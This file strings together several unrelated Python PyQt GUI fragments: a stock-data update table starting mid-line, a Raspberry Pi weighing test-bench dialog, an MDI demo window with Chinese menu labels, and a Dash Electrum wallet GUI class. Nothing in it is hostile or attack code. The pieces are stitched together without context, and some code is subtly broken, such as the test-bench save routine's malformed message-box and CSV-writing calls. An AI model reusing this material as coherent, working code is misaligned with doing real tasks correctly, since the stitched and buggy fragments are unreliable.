Place holder for detail button line.append('') # Place holder for update button line.append('') # Place holder for status return line # def update_table(self): # if self.__current_uri == '': # self.update_uri_level() # else: # self.update_identity_level(self.__current_uri, self.__page * self.__item_per_page, self.__item_per_page) # # def update_uri_level(self): # self.__table_main.clear() # self.__table_main.setRowCount(0) # self.__table_main.setHorizontalHeaderLabels(DataUpdateUi.TABLE_HEADER_URI) # # for declare in DATA_FORMAT_DECLARE: # line = [] # uri = declare[0] # data_table, _ = self.__data_center.get_data_table(uri) # # # TODO: Fetching finance data's date range spends a lost of time because the data is huge. # since, until = data_table.range(uri, None) # update_since, update_until = self.__data_center.calc_update_range(uri) # # update_tags = uri.split('.') # latest_update = self.__update_table.get_last_update_time(update_tags) # # line.append('') # Place holder for check box # line.append(uri) # line.append(date2text(since) if since is not None else ' - ') # line.append(date2text(until) if until is not None else ' - ') # line.append(date2text(latest_update) if latest_update is not None else ' - ') # # if update_since is not None and update_until is not None: # line.append(date2text(update_since) + ' - ' + date2text(update_until)) # else: # line.append(' - ') # line.append('-') # Place holder for detail button # line.append('') # Place holder for update button # line.append('') # Place holder for status # # self.__table_main.AppendRow(line) # index = self.__table_main.rowCount() - 1 # # # Add check box # check_item = QTableWidgetItem() # check_item.setCheckState(QtCore.Qt.Unchecked) # self.__table_main.setItem(index, 0, check_item) # # # Add detail button # if uri in DataUpdateUi.INCLUDES_SECURITIES_SUB_UPDATE_LIST: # button = QPushButton('Enter') # button.clicked.connect(partial(self.on_detail_button, uri)) # self.__table_main.AddWidgetToCell(index, 6, button) # # # Add update button # button_auto = QPushButton('Auto') # button_force = QPushButton('Force') # button_auto.clicked.connect(partial(self.on_auto_update_button, uri, None)) # button_force.clicked.connect(partial(self.on_force_update_button, uri, None)) # self.__table_main.AddWidgetToCell(index, 7, [button_auto, button_force]) # # def update_identity_level(self, uri: str, offset: int, count: int): # if uri == '': # self.update_uri_level() # return # # self.__table_main.clear() # self.__table_main.setRowCount(0) # self.__table_main.setHorizontalHeaderLabels(DataUpdateUi.TABLE_HEADER_IDENTITY) # # data_utility = self.__data_hub.get_data_utility() # stock_list = data_utility.get_stock_list() # # for index in range(offset, offset + count): # if index >= len(stock_list): # break # # stock_identity, name = stock_list[index] # data_table, _ = self.__data_center.get_data_table(uri) # # since, until = data_table.range(uri, stock_identity) # update_since, update_until = self.__data_center.calc_update_range(uri, stock_identity) # # update_tags = uri.split('.') # update_tags.append(stock_identity.replace('.', '_')) # latest_update = self.__update_table.get_last_update_time(update_tags) # # line = [] # line.append('') # Place holder for check box # line.append(stock_identity) # line.append(date2text(since) if since is not None else ' - ') # line.append(date2text(until) if until is not None else ' - ') # line.append(date2text(latest_update) if latest_update is not None else ' - ') # # if update_since is not None and update_until is not None: # line.append(date2text(update_since) + ' - ' + date2text(update_until)) # else: # line.append(' - ') # line.append('') # Place holder for update button # line.append('') # Place holder for status # # self.__table_main.AppendRow(line) # index = self.__table_main.rowCount() - 1 # # # Add check box # check_item = QTableWidgetItem() # check_item.setCheckState(QtCore.Qt.Unchecked) # self.__table_main.setItem(index, 0, check_item) # # # Add update button # button_auto = QPushButton('Auto') # button_force = QPushButton('Force') # button_auto.clicked.connect(partial(self.on_auto_update_button, uri, stock_identity)) # button_force.clicked.connect(partial(self.on_force_update_button, uri, stock_identity)) # self.__table_main.AddWidgetToCell(index, 6, [button_auto, button_force]) # -------------------------------------------------------------------------- def __to_top_level(self): self.__display_uri = [declare[0] for declare in DATA_FORMAT_DECLARE] self.__display_identities = None self.__page = 0 self.update_table() def __to_detail_level(self, uri: str): self.__display_uri = [uri] self.__display_identities = self.get_uri_sub_update(uri) # if uri in ['Market.TradeCalender']: # self.__display_identities = ['SSE'] # elif uri in DataUpdateUi.INCLUDES_SECURITIES_SUB_UPDATE_LIST: # data_utility = self.__data_hub.get_data_utility() # self.__display_identities = data_utility.get_stock_identities() self.__page = 0 self.update_table() def __build_post_update_task(self, uri: str, identities: list or None, force: bool) -> bool: task = UpdateTask(self, self.__data_hub, self.__data_center, force) if identities is None: identities = self.get_uri_sub_update(uri) # if uri == 'Market.TradeCalender': # identities = 'SSE' # elif uri in DataUpdateUi.INCLUDES_SECURITIES_SUB_UPDATE_LIST: # data_utility = self.__data_hub.get_data_utility() # identities = data_utility.get_stock_identities() task.set_work_package(uri, identities) self.__processing_update_tasks.append(task) self.__processing_update_tasks_count.append(task) ret = StockAnalysisSystem().get_task_queue().append_task(task) # After updating market info, also update stock list cache if ret and uri == 'Market.SecuritiesInfo': data_utility = self.__data_hub.get_data_utility() StockAnalysisSystem().get_task_queue().append_task(UpdateStockListTask(data_utility)) return ret # def __work_around_for_update_pack(self): # for i in range(0, len(self.__update_pack)): # if self.__update_pack[i][0] == 'Market.TradeCalender': # self.__update_pack[i][1] = ['SSE'] # elif self.__update_pack[i][0] in DataUpdateUi.INCLUDES_SECURITIES_SUB_UPDATE_LIST: # if self.__update_pack[i][1] is None: # data_utility = self.__data_hub.get_data_utility() # stock_list = data_utility.get_stock_identities() # self.__update_pack[i][1] = stock_list # --------------------------------- Thread --------------------------------- # ------------------------- Refresh Task ------------------------- # def execute_refresh_task(self): # if self.__refresh_thread is None: # self.__refresh_thread = threading.Thread(target=self.refresh_task) # self.__refresh_thread.start() # # def refresh_task(self): # print('Refresh task start.') # self.update_table_content() # self.__refresh_thread = None # self.refresh_finish_signal.emit() # print('Refresh task finished.') # ----------------------- Data Update Task ---------------------- # def execute_update_task(self): # if self.__refresh_thread is not None: # QMessageBox.information(self, # QtCore.QCoreApplication.translate('', '无法执行'), # QtCore.QCoreApplication.translate('', '列表刷新中,无法执行数据更新'), # QMessageBox.Close, QMessageBox.Close) # return # # self.__work_around_for_update_pack() # if self.__task_thread is None: # self.__task_thread = threading.Thread(target=self.update_task) # StockAnalysisSystem().lock_sys_quit() # self.__task_thread.start() # else: # print('Task already running...') # QMessageBox.information(self, # QtCore.QCoreApplication.translate('', '无法执行'), # QtCore.QCoreApplication.translate('', '已经有更新在运行中,无法同时运行多个更新'), # QMessageBox.Close, QMessageBox.Close) # # def update_task(self): # print('Update task start.') # # self.__lock.acquire() # task = copy.deepcopy(self.__update_pack) # force = self.__update_force # self.__lock.release() # # self.__timing_clock.reset() # self.__progress_rate.reset() # for uri, identities in task: # if identities is not None: # self.__progress_rate.set_progress(uri, 0, len(identities)) # for identity in identities: # self.__progress_rate.set_progress([uri, identity], 0, 1) # else: # self.__progress_rate.set_progress(uri, 0, 1) # # for uri, identities in task: # if identities is not None: # for identity in identities: # # Optimise: Update not earlier than listing date. # listing_date = self.__data_hub.get_data_utility().get_stock_listing_date(identity, default_since()) # # if force: # since, until = listing_date, now() # else: # since, until = self.__data_center.calc_update_range(uri, identity) # since = max(listing_date, since) # # self.__data_center.update_local_data(uri, identity, (since, until)) # self.__progress_rate.increase_progress([uri, identity]) # self.__progress_rate.increase_progress(uri) # else: # self.__data_center.update_local_data(uri, force=force) # self.__progress_rate.increase_progress(uri) # # self.task_finish_signal.emit() # print('Update task finished.') # --------------------------------------------------------------------------------- def on_task_updated(self, task, change: str): if change in ['canceled', 'finished']: if task in self.__processing_update_tasks_count: self.task_finish_signal[UpdateTask].emit(task) def __on_task_done(self, task: UpdateTask): if task in self.__processing_update_tasks_count: self.__processing_update_tasks_count.remove(task) print('Finish task: %s, remaining count: %s' % (task.name(), len(self.__processing_update_tasks_count))) if len(self.__processing_update_tasks_count) == 0: QMessageBox.information(self, QtCore.QCoreApplication.translate('main', '更新完成'), QtCore.QCoreApplication.translate('main', '数据更新完成'), QMessageBox.Ok, QMessageBox.Ok) self.__processing_update_tasks.clear() self.update_table() else: print('Impossible: Cannot find finished task in task list.')
class thirdDialog(QDialog): def __init__(self): super(thirdDialog, self).__init__() loadUi( r"/home/pi/Desktop/Testing bench part1/GUI/UI-main/thirddialog.ui", self) #loadui self.backbutton3.clicked.connect(self.pagetwo) self.savebutton.clicked.connect(self.savetofile) self.clickherebutton.clicked.connect(self.calibration) self.weightlabel1 = self.weightlabel self.showweight() self.DIPlabel1 = self.DIP1label self.DIPlabel2 = self.DIP2label self.DIPlabel3 = self.DIP3label self.DOPlabel1 = self.DOP1label self.DOPlabel2 = self.DOP2label self.DOPlabel3 = self.DOP3label self.DOPlabel4 = self.DOP4label self.calibratelabel1 = self.calibratelabel self.clickedbutton1 = self.clickedbutton self.inputdevicestatus() self.qTimer = QTimer() # set interval to 1 s self.qTimer.setInterval(10) # 10 ms # connect timeout signal to signal handler self.qTimer.timeout.connect(self.showweight) self.qTimer.timeout.connect(self.inputdevicestatus) self.qTimer.start() self.calibratelabel1.setText("To calibrate with Ref. weight of " + str(RW) + "g") self.status_DOP() self.clickedbutton.clicked.connect(self.changeoutput) '''def start(self): self.DIPlabel1.setStyleSheet("background-color: ") self.DIPlabel2.setStyleSheet("background-color: ") self.DIPlabel3.setStyleSheet("background-color: ") self.DOPlabel1.setStyleSheet("background-color: ") self.DOPlabel2.setStyleSheet("background-color: ") self.DOPlabel3.setStyleSheet("background-color: ") self.DOPlabel4.setStyleSheet("background-color: ")''' def status_DOP(self): global state state = get_DOP_status(1) if get_DOP_status(1): self.DOPlabel1.setStyleSheet("background-color: lightgreen") DOP1_working = "On" else: self.DOPlabel1.setStyleSheet("background-color: red") DOP1_working = "Off" if get_DOP_status(2): self.DOPlabel2.setStyleSheet("background-color: lightgreen") DOP2_working = "On" else: self.DOPlabel2.setStyleSheet("background-color: red") DOP2_working = "Off" if get_DOP_status(3): self.DOPlabel3.setStyleSheet("background-color: lightgreen") DOP3_working = "On" else: self.DOPlabel3.setStyleSheet("background-color: red") DOP3_working = "Off" if get_DOP_status(4): self.DOPlabel4.setStyleSheet("background-color: lightgreen") DOP4_working = "On" else: self.DOPlabel4.setStyleSheet("background-color: red") DOP4_working = "Off" def changeoutput(self): global state if state == 0: DOP_H(1) time.sleep(.1) DOP_H(2) time.sleep(.1) DOP_H(3) time.sleep(.1) DOP_H(4) time.sleep(.1) self.DOPlabel1.setStyleSheet("background-color: lightgreen") self.DOPlabel2.setStyleSheet("background-color: lightgreen") self.DOPlabel3.setStyleSheet("background-color: lightgreen") self.DOPlabel4.setStyleSheet("background-color: lightgreen") state = 1 DOP1_working = "On" DOP2_working = "On" DOP3_working = "On" DOP4_working = "On" else: DOP_L(1) time.sleep(.1) DOP_L(2) time.sleep(.1) DOP_L(3) time.sleep(.1) DOP_L(4) time.sleep(.1) self.DOPlabel1.setStyleSheet("background-color: red") self.DOPlabel2.setStyleSheet("background-color: red") self.DOPlabel3.setStyleSheet("background-color: red") self.DOPlabel4.setStyleSheet("background-color: red") state = 0 DOP1_working = "Off" DOP2_working = "Off" DOP3_working = "Off" DOP4_working = "Off" def pagetwo(self): self.qTimer.stop() #backpage1=secondDialog(serialno_of_DUT) widget.addWidget(secondpage1) print("Secondpage") #print("Index",widget.currentIndex()-1) widget.setCurrentIndex(widget.currentIndex() + 1) def showweight(self): #connect the first page self.weightlabel1.setText(str(get_data_via_rs232()) + " g") self.weightlabel1.show() def calibration(self): ser.write(RS232_wreq_calibration) time.sleep(0.5) def inputdevicestatus(self): global DIP1_working global DIP2_working global DIP3_working if get_DIP_status(1): self.DIPlabel1.setStyleSheet("background-color: lightgreen") DIP1_working = "On" else: self.DIPlabel1.setStyleSheet("background-color: red") DIP1_working = "Off" if get_DIP_status(2): self.DIPlabel2.setStyleSheet("background-color: lightgreen") DIP2_working = "On" else: self.DIPlabel2.setStyleSheet("background-color: red") DIP2_working = "Off" if get_DIP_status(3): self.DIPlabel3.setStyleSheet("background-color: lightgreen") DIP3_working = "On" else: self.DIPlabel3.setStyleSheet("background-color: red") DIP3_working = "Off" def savetofile(self): global old1, old2, old3, q global index self.qTimer.stop() with open(r'/home/pi/Desktop/Testing bench part1/report.csv', 'a') as f: writer = csv.writer(f) writer.writerow([q], [6]) q += 1 mbox = QMessageBox() #popup the message box widget mbox.setWindowTitle("") range_check = "" Stability_check = "" DIP1_working = "" DIP2_working = "" DIP3_working = "" DOP1_working = "" DOP2_working = "" DOP3_working = "" DOP4_working = "" mbox.setText("Saved successfully") mbox.setText("\nRS232_connection : ", RS232_connection) mbox.setText("\nRS485_connection : ", RS485_connection) mbox.setText("Range : ") mbox.setText("Stability : ") mbox.setText("DOP : ") #mbox.setIcon(QMessageBox.Warning) x = mbox.exec_() #firstDialog.serialnumber.clear() #index=2 #secondDialog.backfunction(self,index) #index=1 old1 = False old2 = False old3 = False RS232_connection = "" RS485_connection = "" range_check = "" Stability_check = "" DIP1_working = "" DIP2_working = "" DIP3_working = "" DOP1_working = "" DOP2_working = "" DOP3_working = "" DOP4_working = "" currentpage = firstDialog() widget.addWidget(currentpage) #print("Index",widget.currentIndex()+1) widget.setCurrentIndex(widget.currentIndex() + 1) #self.showweight() print("Firstpage")
class DemoMdi(QMainWindow): def __init__(self, parent=None): super(DemoMdi, self).__init__(parent) # 设置窗口标题 self.setWindowTitle( 'MDI with a dockWidget tree and a tab-view mdiArea') # 设置窗口大小 self.resize(800, 640) self.initUi() self.mytimer = QTimer(self) self.mytimer.start(1000) self.mytimer.timeout.connect(self.timerCallback) def initUi(self): self.initMenuBar() self.initToolBar() self.initDockTree() self.initStatusBar() self.mdiArea = QMdiArea(self) self.setCentralWidget(self.mdiArea) # set as tabbedView by default self.mdiArea.setViewMode(QMdiArea.TabbedView) self.mdiArea.setTabShape(QTabWidget.Triangular) self.mdiArea.setTabsClosable(True) self.mdiArea.setTabsMovable(True) # index of document self.newDocIndex = 1 def initDockTree(self): self.dockWind = QDockWidget(self) self.dockWind.setWindowTitle('QProfile Explorer') self.initTree() self.dockWind.setWidget(self.tree) self.dockWind.setFloating(False) # set floating = false self.addDockWidget(Qt.LeftDockWidgetArea, self.dockWind) # set the position at left side # remove all features of DockWidget like Closable, Moveable, Floatable, VerticalTitle etc. self.dockWind.setFeatures(QDockWidget.NoDockWidgetFeatures) def initTree(self): self.tree = QTreeWidget() self.tree.setColumnCount(1) #设置列数 #self.tree.setHeaderLabels(['QProfiler items']) #设置树形控件头部的标题 self.tree.setIndentation(20) # 项目的缩进 self.tree.setHeaderHidden(True) #设置根节点 Perfmon = myQTreeWidgetItem(sin(pi * perfmon_x)) Perfmon.setText(0, 'Perfmon') perfmon_00 = myQTreeWidgetItem(sin(2 * pi * perfmon_x)) perfmon_00.setText(0, 'perfmon_00') Perfmon.addChild(perfmon_00) perfmon_01 = QTreeWidgetItem() perfmon_01.setText(0, 'perfmon_01') Perfmon.addChild(perfmon_01) perfmon_02 = QTreeWidgetItem() perfmon_02.setText(0, 'perfmon_02') Perfmon.addChild(perfmon_02) perfmon_03 = QTreeWidgetItem() perfmon_03.setText(0, 'perfmon_03') Perfmon.addChild(perfmon_03) self.tree.addTopLevelItem(Perfmon) # CPU cpuLoad = QTreeWidgetItem() cpuLoad.setText(0, 'CPU') cpuLoad_1 = QTreeWidgetItem() cpuLoad_1.setText(0, 'core 1') cpuLoad.addChild(cpuLoad_1) cpuLoad_2 = QTreeWidgetItem() cpuLoad_2.setText(0, 'core 2') cpuLoad.addChild(cpuLoad_2) self.tree.addTopLevelItem(cpuLoad) # treeItem signal self.tree.itemClicked[QTreeWidgetItem, int].connect(self.treeItemClicked) def treeItemWindow_open(self, item): title = item.text(0) subWind = QMdiSubWindow(self) subWind.setAttribute(Qt.WA_DeleteOnClose) subWind.setWindowTitle(title) self.newDocIndex += 1 mainWid = QWidget() l = QtWidgets.QVBoxLayout(mainWid) txtWind = QPlainTextEdit(mainWid) txtWind.setPlainText(f"perfmon.x = {item.x}, \n y = {item.y}") figWind = MyCanvas(mainWid, width=5, height=4, dpi=100, treeWidgetItem=item) l.addWidget(figWind) l.addWidget(txtWind) l.setStretch(0, 3) # 设置第一列的伸展比例为 3 l.setStretch(1, 1) # 设置第二列的伸展比例为 1, 这样2列的伸展比为3:1 subWind.setWidget(mainWid) self.mdiArea.addSubWindow(subWind) subWind.show() def treeItemClicked(self, item, column): tab = self.get_treeItem_tab(item.text(column)) if tab is not None: tab.setFocus() else: if item.text(column) == 'Perfmon': self.treeItemWindow_open(item) else: newDoc = QMdiSubWindow(self) newDoc.setAttribute(Qt.WA_DeleteOnClose) newDoc.setWindowTitle(item.text(column)) self.newDocIndex += 1 newDoc.setWidget(QPlainTextEdit( item.text(column) * 10, newDoc)) self.mdiArea.addSubWindow(newDoc) newDoc.show() def get_treeItem_tab(self, title): for wind in self.mdiArea.subWindowList(): if title == wind.windowTitle(): return wind return None def initStatusBar(self): self.statusBar = self.statusBar() self.statusBar.showMessage('Ready to start ...', 0) def initMenuBar(self): menuBar = self.menuBar() style = QApplication.style() #==== 文件 ====# fileMenu = menuBar.addMenu('文件') #新建一个文档 aFileNew = QAction('新建文档', self) aFileNew.setIcon(style.standardIcon(QStyle.SP_FileIcon)) aFileNew.triggered.connect(self.onFileNew) fileMenu.addAction(aFileNew) #打开一个文档 aFileOpen = QAction('打开文档', self) aFileOpen.setIcon(style.standardIcon(QStyle.SP_DialogOpenButton)) aFileOpen.triggered.connect(self.onFileOpen) fileMenu.addAction(aFileOpen) #关闭一个文档 aFileCloseAll = QAction('关闭全部', self) aFileCloseAll.setIcon(style.standardIcon(QStyle.SP_DialogCloseButton)) aFileOpen.triggered.connect(self.onFileCloseAll) fileMenu.addAction(aFileCloseAll) #添加分割线 fileMenu.addSeparator() #退出 aFileExit = QAction('退出', self) aFileExit.triggered.connect(self.close) fileMenu.addAction(aFileExit) #==== 编辑 ====# editMenu = menuBar.addMenu('编辑') #剪切 aEditCut = QAction('剪切', self) aEditCut.setIcon(QIcon(':/ico/cut.png')) aEditCut.triggered.connect(self.onEditCut) editMenu.addAction(aEditCut) #复制 aEditCopy = QAction('复制', self) aEditCopy.setIcon(QIcon(':/ico/copy.png')) aEditCopy.triggered.connect(self.onEditCopy) editMenu.addAction(aEditCopy) #粘贴 aEditPaste = QAction('粘贴', self) aEditPaste.setIcon(QIcon(':/ico/paste.png')) aEditPaste.triggered.connect(self.onEditPaste) editMenu.addAction(aEditPaste) #==== 窗口排列方式 ====# windowMenu = menuBar.addMenu('窗口') #子窗口模式 aWndSubView = QAction('子窗口模式', self) aWndSubView.triggered.connect(lambda: self.onWinowdMode(0)) windowMenu.addAction(aWndSubView) #标签页模式 aWndTab = QAction('标签页模式', self) aWndTab.triggered.connect(lambda: self.onWinowdMode(1)) windowMenu.addAction(aWndTab) windowMenu.addSeparator() #平铺模式 aWndTile = QAction('平铺模式', self) aWndTile.triggered.connect(lambda: self.onWinowdMode(2)) windowMenu.addAction(aWndTile) #窗口级联模式 aWndCascade = QAction('窗口级联模式', self) aWndCascade.triggered.connect(lambda: self.onWinowdMode(3)) windowMenu.addAction(aWndCascade) def initToolBar(self): toolBar = self.addToolBar('ToolBar') style = QApplication.style() min_width = 64 btnFileNew = QToolButton(self) btnFileNew.setText('新建文档') btnFileNew.setMinimumWidth(min_width) btnFileNew.setIcon(style.standardIcon(QStyle.SP_FileIcon)) btnFileNew.setToolButtonStyle(Qt.ToolButtonTextUnderIcon) btnFileNew.clicked.connect(self.onFileNew) toolBar.addWidget(btnFileNew) btnFileOpen = QToolButton(self) btnFileOpen.setText('打开文档') btnFileOpen.setMinimumWidth(min_width) btnFileOpen.setIcon(style.standardIcon(QStyle.SP_DialogOpenButton)) btnFileOpen.setToolButtonStyle(Qt.ToolButtonTextUnderIcon) btnFileOpen.clicked.connect(self.onFileOpen) toolBar.addWidget(btnFileOpen) btnFileCloseAll = QToolButton(self) btnFileCloseAll.setText('关闭全部') btnFileCloseAll.setMinimumWidth(min_width) btnFileCloseAll.setIcon(style.standardIcon( QStyle.SP_DialogCloseButton)) btnFileCloseAll.setToolButtonStyle(Qt.ToolButtonTextUnderIcon) btnFileCloseAll.clicked.connect(self.onFileCloseAll) toolBar.addWidget(btnFileCloseAll) toolBar.addSeparator() btnEditCut = QToolButton(self) btnEditCut.setText('剪切') btnEditCut.setMinimumWidth(64) btnEditCut.setIcon(QIcon(':/ico/cut.png')) btnEditCut.setToolButtonStyle(Qt.ToolButtonTextUnderIcon) btnEditCut.clicked.connect(self.onEditCut) toolBar.addWidget(btnEditCut) btnEditCopy = QToolButton(self) btnEditCopy.setText('复制') btnEditCopy.setMinimumWidth(64) btnEditCopy.setIcon(QIcon(':/ico/copy.png')) btnEditCopy.setToolButtonStyle(Qt.ToolButtonTextUnderIcon) btnEditCopy.clicked.connect(self.onEditCopy) toolBar.addWidget(btnEditCopy) btnEditPaste = QToolButton(self) btnEditPaste.setText('粘贴') btnEditPaste.setMinimumWidth(64) btnEditPaste.setIcon(QIcon(':/ico/paste.png')) btnEditPaste.setToolButtonStyle(Qt.ToolButtonTextUnderIcon) btnEditPaste.clicked.connect(self.onEditPaste) toolBar.addWidget(btnEditPaste) def msgCritical(self, strInfo): dlg = QMessageBox(self) dlg.setIcon(QMessageBox.Critical) dlg.setText(strInfo) dlg.show() def onFileNew(self): newDoc = QMdiSubWindow(self) newDoc.setAttribute(Qt.WA_DeleteOnClose) newDoc.setWindowTitle('新文档 ' + str(self.newDocIndex)) self.newDocIndex += 1 newDoc.setWidget(QPlainTextEdit(newDoc)) self.mdiArea.addSubWindow(newDoc) newDoc.show() def onFileOpen(self): path, _ = QFileDialog.getOpenFileName(self, '打开文件', '', '文本文件 (*.txt, *.prf)') if path: try: with open(path, 'rU') as f: text = f.read() except Exception as e: self.msgCritical(str(e)) else: openDoc = QMdiSubWindow(self) openDoc.setWindowTitle(path) txtEdit = QPlainTextEdit(openDoc) txtEdit.setPlainText(text) openDoc.setWidget(txtEdit) self.mdiArea.addSubWindow(openDoc) openDoc.show() def onFileCloseAll(self): self.mdiArea.closeAllSubWindows() def onEditCut(self): txtEdit = self.mdiArea.activeSubWindow().widget() txtEdit.cut() def onEditCopy(self): txtEdit = self.mdiArea.activeSubWindow().widget() txtEdit.copy() def onEditPaste(self): txtEdit = self.mdiArea.activeSubWindow().widget() txtEdit.paste() def onWinowdMode(self, index): if index == 3: self.mdiArea.cascadeSubWindows() elif index == 2: self.mdiArea.tileSubWindows() elif index == 1: self.mdiArea.setViewMode(QMdiArea.TabbedView) else: self.mdiArea.setViewMode(QMdiArea.SubWindowView) def timerCallback(self): self.statusBar.showMessage( f'Document Index = {self.newDocIndex}, subWind num ={len(self.mdiArea.subWindowList())}', 0)
class ElectrumGui(Logger): @profiler def __init__(self, config, daemon, plugins): set_language(config.get('language', get_default_language())) Logger.__init__(self) # Uncomment this call to verify objects are being properly # GC-ed when windows are closed #network.add_jobs([DebugMem([Abstract_Wallet, SPV, Synchronizer, # ElectrumWindow], interval=5)]) QtCore.QCoreApplication.setAttribute(QtCore.Qt.AA_X11InitThreads) if hasattr(QtCore.Qt, "AA_ShareOpenGLContexts"): QtCore.QCoreApplication.setAttribute( QtCore.Qt.AA_ShareOpenGLContexts) if hasattr(QGuiApplication, 'setDesktopFileName'): QGuiApplication.setDesktopFileName('electrum-dash.desktop') self.gui_thread = threading.current_thread() self.config = config self.daemon = daemon self.plugins = plugins self.windows = [] self.efilter = OpenFileEventFilter(self.windows) self.app = QElectrumApplication(sys.argv) self.app.installEventFilter(self.efilter) self.app.setWindowIcon(read_QIcon("electrum-dash.png")) # timer self.timer = QTimer(self.app) self.timer.setSingleShot(False) self.timer.setInterval(500) # msec self.nd = None self.network_updated_signal_obj = QNetworkUpdatedSignalObject() self._num_wizards_in_progress = 0 self._num_wizards_lock = threading.Lock() # init tray self.dark_icon = self.config.get("dark_icon", False) self.tray = QSystemTrayIcon(self.tray_icon(), None) self.tray.setToolTip('Dash Electrum') self.tray.activated.connect(self.tray_activated) self.build_tray_menu() self.tray.show() self.app.new_window_signal.connect(self.start_new_window) self.set_dark_theme_if_needed() run_hook('init_qt', self) def set_dark_theme_if_needed(self): use_dark_theme = self.config.get('qt_gui_color_theme', 'default') == 'dark' self.app.setStyle('Fusion') if use_dark_theme: from .dark_dash_style import dash_stylesheet self.app.setStyleSheet(dash_stylesheet) else: from .dash_style import dash_stylesheet self.app.setStyleSheet(dash_stylesheet) # Apply any necessary stylesheet patches patch_qt_stylesheet(use_dark_theme=use_dark_theme) # Even if we ourselves don't set the dark theme, # the OS/window manager/etc might set *a dark theme*. # Hence, try to choose colors accordingly: ColorScheme.update_from_widget(QWidget(), force_dark=use_dark_theme) def build_tray_menu(self): # Avoid immediate GC of old menu when window closed via its action if self.tray.contextMenu() is None: m = QMenu() self.tray.setContextMenu(m) else: m = self.tray.contextMenu() m.clear() for window in self.windows: submenu = m.addMenu(window.wallet.basename()) submenu.addAction(_("Show/Hide"), window.show_or_hide) submenu.addAction(_("Close"), window.close) m.addAction(_("Dark/Light"), self.toggle_tray_icon) m.addSeparator() m.addAction(_("Exit Dash Electrum"), self.close) def tray_icon(self): if self.dark_icon: return read_QIcon('electrum_dark_icon.png') else: return read_QIcon('electrum_light_icon.png') def toggle_tray_icon(self): self.dark_icon = not self.dark_icon self.config.set_key("dark_icon", self.dark_icon, True) self.tray.setIcon(self.tray_icon()) def tray_activated(self, reason): if reason == QSystemTrayIcon.DoubleClick: if all([w.is_hidden() for w in self.windows]): for w in self.windows: w.bring_to_top() else: for w in self.windows: w.hide() def close(self): for window in self.windows: window.close() def new_window(self, path, uri=None): # Use a signal as can be called from daemon thread self.app.new_window_signal.emit(path, uri) def show_network_dialog(self, parent): if not self.daemon.network: parent.show_warning(_( 'You are using Dash Electrum in offline mode; restart Dash Electrum if you want to get connected' ), title=_('Offline')) return if self.nd: self.nd.on_update() self.nd.show() self.nd.raise_() return self.nd = NetworkDialog(self.daemon.network, self.config, self.network_updated_signal_obj) self.nd.show() def _create_window_for_wallet(self, wallet): w = ElectrumWindow(self, wallet) self.windows.append(w) self.build_tray_menu() # FIXME: Remove in favour of the load_wallet hook run_hook('on_new_window', w) w.warn_if_testnet() w.warn_if_watching_only() return w def count_wizards_in_progress(func): def wrapper(self: 'ElectrumGui', *args, **kwargs): with self._num_wizards_lock: self._num_wizards_in_progress += 1 try: return func(self, *args, **kwargs) finally: with self._num_wizards_lock: self._num_wizards_in_progress -= 1 return wrapper @count_wizards_in_progress def start_new_window(self, path, uri, *, app_is_starting=False): '''Raises the window for the wallet if it is open. Otherwise opens the wallet and creates a new window for it''' wallet = None try: wallet = self.daemon.load_wallet(path, None) except BaseException as e: self.logger.exception('') custom_message_box(icon=QMessageBox.Warning, parent=None, title=_('Error'), text=_('Cannot load wallet') + ' (1):\n' + str(e)) # if app is starting, still let wizard to appear if not app_is_starting: return if not wallet: try: wallet = self._start_wizard_to_select_or_create_wallet(path) except (WalletFileException, BitcoinException) as e: self.logger.exception('') custom_message_box(icon=QMessageBox.Warning, parent=None, title=_('Error'), text=_('Cannot load wallet') + ' (2):\n' + str(e)) if not wallet: return # create or raise window try: for window in self.windows: if window.wallet.storage.path == wallet.storage.path: break else: window = self._create_window_for_wallet(wallet) except BaseException as e: self.logger.exception('') custom_message_box(icon=QMessageBox.Warning, parent=None, title=_('Error'), text=_('Cannot create window for wallet') + ':\n' + str(e)) if app_is_starting: wallet_dir = os.path.dirname(path) path = os.path.join(wallet_dir, get_new_wallet_name(wallet_dir)) self.start_new_window(path, uri) return if uri: window.pay_to_URI(uri) window.bring_to_top() window.setWindowState(window.windowState() & ~QtCore.Qt.WindowMinimized | QtCore.Qt.WindowActive) window.activateWindow() return window def _start_wizard_to_select_or_create_wallet( self, path) -> Optional[Abstract_Wallet]: wizard = InstallWizard(self.config, self.app, self.plugins) try: path, storage = wizard.select_storage(path, self.daemon.get_wallet) # storage is None if file does not exist if storage is None: wizard.path = path # needed by trustedcoin plugin wizard.run('new') storage = wizard.create_storage(path) else: wizard.run_upgrades(storage) except (UserCancelled, GoBack): return except WalletAlreadyOpenInMemory as e: return e.wallet finally: wizard.terminate() # return if wallet creation is not complete if storage is None or storage.get_action(): return wallet = Wallet(storage) wallet.start_network(self.daemon.network) self.daemon.add_wallet(wallet) return wallet def close_window(self, window: ElectrumWindow): if window in self.windows: self.windows.remove(window) self.build_tray_menu() # save wallet path of last open window if not self.windows: self.config.save_last_wallet(window.wallet) run_hook('on_close_window', window) self.daemon.stop_wallet(window.wallet.storage.path) def init_network(self): # Show network dialog if config does not exist if self.daemon.network: if self.config.get('auto_connect') is None: wizard = InstallWizard(self.config, self.app, self.plugins) wizard.init_network(self.daemon.network) wizard.terminate() def main(self): try: self.init_network() except UserCancelled: return except GoBack: return except BaseException as e: self.logger.exception('') return self.timer.start() self.config.open_last_wallet() path = self.config.get_wallet_path() if not self.start_new_window( path, self.config.get('url'), app_is_starting=True): return signal.signal(signal.SIGINT, lambda *args: self.app.quit()) def quit_after_last_window(): # keep daemon running after close if self.config.get('daemon'): return # check if a wizard is in progress with self._num_wizards_lock: if self._num_wizards_in_progress > 0 or len(self.windows) > 0: return self.app.quit() self.app.setQuitOnLastWindowClosed( False) # so _we_ can decide whether to quit self.app.lastWindowClosed.connect(quit_after_last_window) def clean_up(): # Shut down the timer cleanly self.timer.stop() # clipboard persistence. see http://www.mail-archive.com/[email protected]/msg17328.html event = QtCore.QEvent(QtCore.QEvent.Clipboard) self.app.sendEvent(self.app.clipboard(), event) self.tray.hide() self.app.aboutToQuit.connect(clean_up) # main loop self.app.exec_() # on some platforms the exec_ call may not return, so use clean_up() def stop(self): self.logger.info('closing GUI') self.app.quit()
